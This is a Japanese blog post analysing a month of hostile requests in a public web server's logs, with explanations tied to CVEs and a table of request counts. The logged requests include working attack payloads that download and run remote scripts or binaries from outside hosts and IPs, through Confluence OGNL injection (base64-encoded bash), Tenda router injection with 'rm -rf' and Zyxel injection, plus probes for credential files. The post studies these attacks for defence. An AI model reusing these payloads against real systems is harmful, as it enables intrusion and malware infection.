webサーバのログの分析2024 2月分

2024-03-09 技術系

公開している web サーバのログから通常のアクセスではない通信について分析しました。

多かったリクエスト

Atlassian Confluence の脆弱性(CVE-2022-26134)を利用してスクリプトを実行しようとしていると思われるリクエスト

Confluence ゼロデイ(CVE-2022-26134)に対する Akamai の所見

/$%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27echo%20dnVybCgpIHsKCUlGUz0vIHJlYWQgLXIgcHJvdG8geCBob3N0IHF1ZXJ5IDw8PCIkMSIKICAgIGV4ZWMgMzw%2BIi9kZXYvdGNwLyR7aG9zdH0vJHtQT1JUOi04MH0iCiAgICBlY2hvIC1lbiAiR0VUIC8ke3F1ZXJ5fSBIVFRQLzEuMFxyXG5Ib3N0OiAke2hvc3R9XHJcblxyXG4iID4mMwogICAgKHdoaWxlIHJlYWQgLXIgbDsgZG8gZWNobyA%2BJjIgIiRsIjsgW1sgJGwgPT0gJCdccicgXV0gJiYgYnJlYWs7IGRvbmUgJiYgY2F0ICkgPCYzCiAgICBleGVjIDM%2BJi0KfQp2dXJsIGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai93LnNofGJhc2gK%7Cbase64%20-d%7Cbash%27%29.start%28%29%22%29%7D/

GeoServerの脆弱性

GeoServer の深刻な脆弱性 CVE-2023-35042 が FIX:RCE 攻撃が観測されている – IoT OT Security News

/geoserver/web/

Cisco 製 Cisco IOS XE などのネットワーク機器の Web UI の脆弱性

下記の記事のようなネットワーク機器のWeb UIにアクセスを試みる通信だと思われます。
Cisco 製 Cisco IOS XE の Web UI の脆弱性について(CVE-2023-20198 等) | 情報セキュリティ | IPA 独立行政法人 情報処理推進機構

/webui/

Spring Frameworkの脆弱性

Spring FrameworkのSpring Cloud Gatewayという機能の脆弱性に関する通信みたいです。
CVE-2022-22947: Spring Cloud Gateway Code Injection Vulnerability

/actuator/gateway/routes

PHPUnitのevalをリモート実行

PHPのユニットテストツールのPHPUnitの脆弱性を利用してのeval()を実行しようとする通信

/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

laravelの脆弱性を利用した攻撃

詳しくはわからないのですが、laravelの脆弱性をつく際に送られる通信みたいです。
laravelのヤバい脆弱性をついたkinsing(kdevtmpfsi)というマルウェアに感染した話 CVE-2021-3129 #PHP - Qiita

/_ignition/execute-solution

ルータの脆弱性「CVE-2020-10173」を利用するIoTマルウェア | トレンドマイクロ セキュリティブログ

/boaform/admin/formLogin

jQueryの脆弱性

脆弱性があるバージョンを利用しているか確認する通信

//ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js
//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js

WordPress関連の攻撃

xmlrpc.phpへのリクエスト

WordPressのxmlrpc.phpというファイルが最近Dos攻撃の標的にされているようなので、Dos攻撃できるかの調査の通信になると思います。
【WordPress】「xmlrpc.php」への攻撃とは | Security Press(セキュリティプレス)

/xmlrpc.php

wlwmanifest.xmlの調査

Windows Live Writerというツールの設定ファイルがあるかの調査

/wp1/wp-includes/wlwmanifest.xml
/wp/wp-includes/wlwmanifest.xml
/wordpress/wp-includes/wlwmanifest.xml
/web/wp-includes/wlwmanifest.xml
/test/wp-includes/wlwmanifest.xml
/site/wp-includes/wlwmanifest.xml
/shop/wp-includes/wlwmanifest.xml
/cms/wp-includes/wlwmanifest.xml
/blog/wp-includes/wlwmanifest.xml

不審な通信の一覧

uri count
/robots.txt 1491
/ 739
/.env 700
/sw.js 363
/favicon.ico 333
/$%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27echo%20dnVybCgpIHsKCUlGUz0vIHJlYWQgLXIgcHJvdG8geCBob3N0IHF1ZXJ5IDw8PCIkMSIKICAgIGV4ZWMgMzw%2BIi9kZXYvdGNwLyR7aG9zdH0vJHtQT1JUOi04MH0iCiAgICBlY2hvIC1lbiAiR0VUIC8ke3F1ZXJ5fSBIVFRQLzEuMFxyXG5Ib3N0OiAke2hvc3R9XHJcblxyXG4iID4mMwogICAgKHdoaWxlIHJlYWQgLXIgbDsgZG8gZWNobyA%2BJjIgIiRsIjsgW1sgJGwgPT0gJCdccicgXV0gJiYgYnJlYWs7IGRvbmUgJiYgY2F0ICkgPCYzCiAgICBleGVjIDM%2BJi0KfQp2dXJsIGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai93LnNofGJhc2gK%7Cbase64%20-d%7Cbash%27%29.start%28%29%22%29%7D/ 263
/wp-login.php 220
/ads.txt 198
/xmlrpc.php 176
/.git/config 153
* 139
mstshash=Administr 97
//.env 84
/app-ads.txt 77
/index.xml 70
/webui/ 56
/geoserver/web/ 56
//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js 54
/style.php 50
/manifest.js 50
/actuator/gateway/routes 47
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 42
/_ignition/execute-solution 39
/.well-known/security.txt 36
/core/.env 31
/boaform/admin/formLogin 31
/sellers.json 30
/inputs.php 28
/api/.env 28
/manager/html 26
/.DS_Store 25
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F192.3.152.183%2Ftenda.sh%3B%20chmod%20777%20tenda.sh%3B%20.%2Ftenda.sh) 24
12.1.2 23
/local/.env 23
/HNAP1/ 23
/.well-known/traffic-advice 23
//stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js 22
//ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js 22
/app/.env 21
/actuator/health 20
//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js 20
/.vscode/sftp.json 20
/laravel/.env 18
/simple.php 17
/login 17
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F45.142.214.108%2Ftenda.sh%3B%20chmod%20777%20tenda.sh%3B%20.%2Ftenda.sh) 16
/about 16
/xmlrpc.php?rsd 15
/wp1/wp-includes/wlwmanifest.xml 15
/wp/wp-includes/wlwmanifest.xml 15
/wordpress/wp-includes/wlwmanifest.xml 15
/web/wp-includes/wlwmanifest.xml 15
/test/wp-includes/wlwmanifest.xml 15
/site/wp-includes/wlwmanifest.xml 15
/shop/wp-includes/wlwmanifest.xml 15
/crm/.env 15
/cms/wp-includes/wlwmanifest.xml 15
/blog/wp-includes/wlwmanifest.xml 15
/apps/.env 15
/2019/wp-includes/wlwmanifest.xml 15
[\x22miner1\x22, 14
/wp2/wp-includes/wlwmanifest.xml 14
/wp-includes/wlwmanifest.xml 14
/website/wp-includes/wlwmanifest.xml 14
/sito/wp-includes/wlwmanifest.xml 14
/pages/createpage-entervariables.action 14
/news/wp-includes/wlwmanifest.xml 14
/cf_scripts/scripts/ajax/ckeditor/ckeditor.js 14
/aab9 14
/_profiler/phpinfo 14
/.aws/credentials 14
/public/.env 13
/autodiscover/autodiscover.json?@zdi/Powershell 13
/bin/zhttpd/${IFS}cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}mips;${IFS}wget${IFS}http://103.180.149.156/huhu.mips;${IFS}chmod${IFS}777${IFS}huhu.mips;${IFS}./huhu.mips${IFS}zyxel.selfrep; 12
/application/.env 12
/admin/index.html 12
/admin/config.php 12
/aab8 12
/HNAP1 12
/.well-known/assetlinks.json 12
/.well-known/apple-app-site-association 12
/+CSCOE+/logon.html 12
\xC0/\xC00\xC0+\xC0,\xCC\xA8\xCC\xA9\xC0\x13\xC0\x09\xC0\x14\xC0 11
7 11
/www/.env 11
/wp-content/.env 11
/wp-admin/.env 11
/src/.env 11
/sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/ 11
/sites/all/libraries/mailchimp/.env 11
/protected/.env 11
/phpinfo.php 11
/old/.env 11
/new/.env 11
/logon.htm 11
/library/.env 11
/info.php 11
/index.php 11
/druid/index.html 11
/dologin.action 11
/database/.env 11
/conf/.env 11
/cgi-bin/.env 11
/base/.env 11
/audio/.env 11
/app/config/.env 11
/admin/.env 11
/.env.save 11
/.env.production 11
/.env.prod 11
/webfig/ 10
/setup/setupadministrator-start.action 10
/sdk 10
/manage/account/login 10
/login.jsp 10
/jquery-3.3.1.min.js 10
/is-bin 10
/index.jsp 10
/fw6I 10
/docker/.env 10
/dns-query 10
/contact 10
/cgi-bin/login.cgi 10
/cgi-bin/authLogin.cgi 10
/c/msdownload/update/software/update/2021/11/6632de33-967441-x86.cab 10
/admin.php 10
/aaa9 10
/Visu/ens/events 10
/.env.old 10
/hudson 9
/config.json 9
/chosen.php 9
/backend/.env 9
/ReportServer 9
/.git/HEAD 9
\x00\x00BBBB\xBA\x8C\xC1\xABDAAA 8
/wp-includes/style.php?p=J938PnuGv1QZCrNF6%2B2Zh81Kh1LkbWI20JU3La%2BrEPOWZKToeebeUDXrR8BZYXfYBqmUfOUyJ552h6ifeNsJyXHd0YcuVhbPMxL60L9ESMa9ilqIQCueFw8wkWMxVW84IWGa1%2BkY%2B%2BCIiAUj94zv3vDVD4G0f2uLjqRIhyYDivt0GQp3sn9oLSDcvS0CHmj%2Bf2ojDUTvDO%2F7NlaVVF6H2NQZjaVtY9xSqOw3aQ3KophzBMqlTYJzTvY7nexxzcsoW%2FPknW%2Bh8E7jL7MZJUjMMS6FKA10b7h5xm4dUvXNoQYAxb%2FUtnK4HcSBUthms2ZKUks1hPjaQiCtmXM9yMAgWg%3D%3D 8
/wp-includes/SimplePie/plugins.php 8
/wp-content/uploads/style.php?p=J938PnuGv1QZCrNF6%2B2Zh81Kh1LkbWI20JU3La%2BrEPOWZKToeebeUDXrR8BZYXfYBqmUfOUyJ552h6ifeNsJyXHd0YcuVhbPMxL60L9ESMa9ilqIQCueFw8wkWMxVW84IWGa1%2BkY%2B%2BCIiAUj94zv3vDVD4G0f2uLjqRIhyYDivt0GQp3sn9oLSDcvS0CHmj%2Bf2ojDUTvDO%2F7NlaVVF6H2NQZjaVtY9xSqOw3aQ3KophzBMqlTYJzTvY7nexxzcsoW%2FPknW%2Bh8E7jL7MZJUjMMS6FKA10b7h5xm4dUvXNoQYAxb%2FUtnK4HcSBUthms2ZKUks1hPjaQiCtmXM9yMAgWg%3D%3D 8
/wp-content/themes/bricks/style.css 8
/wp-content/style.php?p=J938PnuGv1QZCrNF6%2B2Zh81Kh1LkbWI20JU3La%2BrEPOWZKToeebeUDXrR8BZYXfYBqmUfOUyJ552h6ifeNsJyXHd0YcuVhbPMxL60L9ESMa9ilqIQCueFw8wkWMxVW84IWGa1%2BkY%2B%2BCIiAUj94zv3vDVD4G0f2uLjqRIhyYDivt0GQp3sn9oLSDcvS0CHmj%2Bf2ojDUTvDO%2F7NlaVVF6H2NQZjaVtY9xSqOw3aQ3KophzBMqlTYJzTvY7nexxzcsoW%2FPknW%2Bh8E7jL7MZJUjMMS6FKA10b7h5xm4dUvXNoQYAxb%2FUtnK4HcSBUthms2ZKUks1hPjaQiCtmXM9yMAgWg%3D%3D 8
/wp-content/plugins/core-plugin/include.php 8
/wp-admin/style.php?p=J938PnuGv1QZCrNF6%2B2Zh81Kh1LkbWI20JU3La%2BrEPOWZKToeebeUDXrR8BZYXfYBqmUfOUyJ552h6ifeNsJyXHd0YcuVhbPMxL60L9ESMa9ilqIQCueFw8wkWMxVW84IWGa1%2BkY%2B%2BCIiAUj94zv3vDVD4G0f2uLjqRIhyYDivt0GQp3sn9oLSDcvS0CHmj%2Bf2ojDUTvDO%2F7NlaVVF6H2NQZjaVtY9xSqOw3aQ3KophzBMqlTYJzTvY7nexxzcsoW%2FPknW%2Bh8E7jL7MZJUjMMS6FKA10b7h5xm4dUvXNoQYAxb%2FUtnK4HcSBUthms2ZKUks1hPjaQiCtmXM9yMAgWg%3D%3D 8
/wp 8
/wordpress 8
/version 8
/system/.env 8
/style.php?p=J938PnuGv1QZCrNF6%2B2Zh81Kh1LkbWI20JU3La%2BrEPOWZKToeebeUDXrR8BZYXfYBqmUfOUyJ552h6ifeNsJyXHd0YcuVhbPMxL60L9ESMa9ilqIQCueFw8wkWMxVW84IWGa1%2BkY%2B%2BCIiAUj94zv3vDVD4G0f2uLjqRIhyYDivt0GQp3sn9oLSDcvS0CHmj%2Bf2ojDUTvDO%2F7NlaVVF6H2NQZjaVtY9xSqOw3aQ3KophzBMqlTYJzTvY7nexxzcsoW%2FPknW%2Bh8E7jL7MZJUjMMS6FKA10b7h5xm4dUvXNoQYAxb%2FUtnK4HcSBUthms2ZKUks1hPjaQiCtmXM9yMAgWg%3D%3D 8
/sources/.env 8
/sitemap.txt 8
/script/.env 8
/rest/tinymce/1/macro/preview 8
/rest/.env 8

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